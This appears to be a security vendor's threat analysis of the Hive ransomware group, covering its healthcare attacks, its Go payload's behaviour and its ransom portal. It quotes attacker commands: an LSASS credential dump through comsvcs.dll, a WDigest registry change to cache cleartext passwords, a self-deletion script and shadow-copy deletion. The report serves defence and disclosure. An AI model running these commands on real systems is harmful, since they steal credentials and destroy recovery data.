  • Hive remains active with as many as 30 victim companies listed on its Hive Leaks onion site at the time of writing.


While many active ransomware groups have committed to forgoing attacks on medical targets in deference to the current global situation, Hive is not one of them. On August 15, 2021, news broke of a Hive campaign against Memorial Health System, an Ohio healthcare provider. As a result, the hospital was forced to advise some patients to seek treatment at separate facilities.

While some ransomware attacks hitting public health and critical infrastructure targets can be the result of a shotgun approach to targetting – mass phishing campaigns that execute malware blindly on victim devices without awareness of the victim environment – that is not the case with Hive. This is a human-operated ransomware attack designed to take input from the command line, indicating the attackers are both aware of the environment and tailoring their attacks for maximum impact.

Memorial Health Systems open statement on ransomware attack

Who is Hive?

Hive or “HiveLeaks” is a relatively new ransomware outfit that made its appearance on the scene in late June, 2021. Hive is yet another double extortion group, making their money off of a two-pronged attack: exfiltrating sensitive data before locking up the victims’ systems. This allows them to pressure the victim into paying greater sums than a conventional ransomware attack as they also face the threat of a mass leak of sensitive data. Hive’s schemes have proven successful so far as multiple leaks are currently posted on their victim blog. As of the time of writing, there are 30 companies currently named on the HiveLeaks site.

HiveLeaks site showing the timer before releasing victim files

We can’t put the toothpaste back in the tube for Memorial Health Systems, but we can at least contribute a breakdown of the Hive operators’ preferred techniques and a deep dive into their ransomware toolkit to help other potential victims.

Technical Analysis

Initial acces can vary. Cobalt Strike implants are most often the tool of choice. They are delivered via phishing or emails in order to establish initial access. These beacons maintain persistence and allow the operators to expand their reach within the compromised environment. They are also used to launch the Hive payloads.

Recent campaigns opt for the use of ConnectWise. ConnectWise is a legitimate commercial remote administration tool that has been abused by multiple ransomware operators in recent years. This allows for persistence and management of their malware in environments where Cobalt Strike hasn’t been successful.

Once inside, attackers will attempt to dump credentials by way of consvcs.dll (MinDump) though rundll32.exe:

\Windows\system32\cmd.exe /C rundll32.exe
\Windows\System32\comsvcs.dll MinDump 752 lsass.dmp full

Additionally, WDigest may be manipulated to allow for the caching of cleartext credential data:

\Windows\system32\cmd.exe /C reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v
UseLogonCredential /t REG_DWORD /d 1 && gpupdate /force

Additional tools like ADRecon may be used to further understand and traverse the compromised Active Directory (AD) environment. ADRecon is an open-source tool designed to do just that– to map, traverse and enumerate an AD environment.

The Hive Payload

While the tools, techniques, and procedures mentioned above are fairly standard for ransomware groups these days, Hive utilizes their own closed-source ransomware. The payloads are written in Go and packed with UPX. After unpacking, the ransomware itself is over 2MB in size owing to the way Go packages statically-link all dependencies to create a reliably portable executable.

The developers are taking advantage of some of the native benefits of Go, particularly the ability to implement easy and reliable concurrency. On the other hand, Go is known for enabling easy cross-compilation across different operating systems but the manner in which Hive implements its functionality makes it Windows-specific, at this time.

The ransomware is designed to take input from the command line, indicating that it’s meant to be run directly by an operator or a script containing the desired parameters. The available flags are as follows.

Flags used by Hive Ransomware

These flags are largely self-explanatory with the exception of the final option, no-cleanpollDesc. This refers to a final phase in the ransomware’s functionality that looks for a file named swap.tmp in all logical drives and deletes it before the ransomware exits. The developers refer to this as ‘cleaning space’. At this time we don’t know what this file does, whether it’s a component generated during their operations, a native Windows file, or perhaps a reference to incomplete cross-platform functionality intended for future builds.

Go malware is usually considered difficult to reverse engineer, primarily due to the wealth of tangentially-related imported code baked into every executable. It’s important to isolate the code contributed by the malware developers. In this case, Hive devs contributed four packages orchestrated by the main() function: encryptor, keys, winutils, and config.

Custom packages under ‘google.com’ parent directory

Cursory examination might miss these as they’re housed under a parent package named google.com, perhaps to give the appearance that these are standard packages.

The main function parses the flags provided by the operator and before initializing the ransomware functionality under encryptor.NewApp(). First it generates and exports the encryption keys and generates the ransom note. It directs the victim to a password-protected Onion domain:


It also warns the victim of the impending disclosure of their stolen data at the Hive Leaks site:


The main functionally is housed under encryptor.(*App).Run(), which does the following:

  1. App.ExportKeys() wraps around standard go crypto functions, which it uses to generate RSA keys. A key file is exported.
  2. MountPoints() enumerates different types of drives and appends them to a slice (a dynamically-sized array in Go). This includes native logical drives, removable drives, and remote shares.
  3. Based on the kill flag, the malware proceeds to kill processes matching the regex provided. If no custom value is provided, the following default is used:
  4. Based on the stop flag, the malware connects to the Windows service control manager and proceeds to stop services matching the regex provided.
  5. The malware creates a batch file to self-delete with the filename hive.bat, removing its own components from the disk via a new process.
    	timeout 1 || sleep 1
    	del "C:\Users\admin1\Desktop\hmod4.exe"
    	if exist "C:\Users\admin1\Desktop\hmod4.exe" goto Repeat
    	del "hive.bat"
  6. It creates a batch file to delete shadow copies under the filename shadow.bat and executes it as a separate process.
    	vssadmin.exe delete shadows /all /quiet
    	del shadow.bat
  7. In order to take advantage of Go’s concurrency features, the Hive devs run a Notify() function that is meant to watch the WaitGroup that keeps track of the parallel threads. As long as there are threads pending, this function will keep the program running.
  8. Now onto the real business of ransomware. ScanFiles() will populate a list of absolute filepaths fed into a channel (a queue of sorts). EncryptFiles() will then spawn threads that each take a file from that queue and encrypt it. This concurrency feature is the main advantage of writing this ransomware in Go and allows for much faster file encryption.
  9. Finally, the devs make sure to erase the encryption key from memory.

Ransom notes are deposited into each folder containing encrypted files (skipping the C:\windows) directory.

The ‘HOW_TO_DECRYPT.TXT’ ransom note

The ransom note instructs victims to visit the Hive portal via TOR and login with their assigned unique ID to continue the payment process.

Hive Victim Portal

Each infection campaign is assigned unique credentials available in the ransom note. This portal leads the victim to the standard ransomware ‘support’ area where they can upload freebie test files, communicate with their attackers, and receive their decryptor should they choose to pay (which, in an ideal world, they shouldn’t).


As these attacks continue to escalate and become more egregious, the need for true attack ‘prevention’ is all the more critical. While well-maintained and tested backup strategies are a must, they are not enough in these double-extortion cases.

Once executed, most modern ransomware will go after backup and storage volumes in fairly smart ways. Many have even evolved to target specific NAS devices and platforms. Some groups will bypass the encryption phase altogether and opt for pilfering data to openly extort victims with. While the latter scenario may seem preferable due to a lack of disruption, the reputational damage, potential liability, and threat to business viability remains. Hence our emphasis on prevention.

We urge all defenders to explore and embrace modern endpoint protection technologies that go beyond static checks, basic signatures, and other outdated components. Contextual awareness and automated behavioral classification are among the most powerful weapons defenders should avail themselves of.

Indicators of Compromise









Cobalt Beacon:


T1574.001 – Hijack Execution Flow: DLL Search Order Hijacking
TA0005 – Defense Evasion
TA0004 – Privilege Escalation
T1486 – Data Encrypted for Impact
T1027.002 – Obfuscated Files or Information: Software Packing
T1003.001 – OS Credential Dumping: LSASS Memory
T1007 – System Service Discovery
T1059 – Command and Scripting Interpreter
T1059.001 – Command and Scripting Interpreter: PowerShell
T1059.003 – Command and Scripting Interpreter: Windows Command Shell
T1490 – Inhibit System Recovery

The post Hive Attacks | Analysis of the Human-Operated Ransomware Targeting Healthcare appeared first on SentinelLabs.